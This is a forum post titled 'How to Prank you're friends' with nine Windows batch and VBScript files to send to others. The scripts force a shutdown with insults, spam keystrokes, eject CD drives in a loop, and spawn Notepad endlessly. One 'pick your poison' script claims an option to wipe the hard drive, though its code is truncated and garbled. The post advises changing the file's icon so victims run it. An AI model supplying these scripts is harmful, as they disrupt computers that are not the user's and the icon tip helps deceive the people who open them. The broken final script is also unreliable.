How to Prank you're friends

[TheRemco]

All of this must be typed in Notepad..

) Convey your friend a little message and shut down his / her computer:
Type :

Code:
    @echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s 

Save it as "Anything.BAT" in All Files and send it.
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2) Toggle your friend's Caps Lock button simultaneously:
Type :

Code:
    Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop 

Save it as "Anything.VBS" and send it.
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3) Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!
Type :

Code:
    Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop 

Save it as "Anything.VBS" and send it.
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4) Frustrate your friend by making this VBScript hit Enter simultaneously:
Type :

Code:
    Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop 

Save it as "Anything.VBS" and send it.
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5) Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out:
Type :

Code:
    WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s!" 

Save it as "Anything.VBS" and send it.
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6) Frustrate your friend by making this VBScript hit Backspace simultaneously:
Type :


Code:
    MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop 

Save it as "Anything.VBS" and send it.
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7) Hack your friend's keyboard and make him type "You are a fool" simultaneously:
Type :

Code:
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop 

Save it as "Anything.VBS" and send it.
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8. Open Notepad continually in your friend's computer:
Type :

Code:
    @ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top 

Save it as "Anything.BAT" and send it.
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9) Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action:

1: Shutdown
2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown

Type :

Code:
     @echo off
title The end of the world
cd C:\
:menu
clsecho I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:

Code:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (you're boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two 

Save it as "Anything.BAT" and send it.
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You might wanna have to change the Icon of the file before sending it to your friend, so right click the file, click Properties, click on the 'Change' Icon and change the icon from there.

Posted by: TheRemco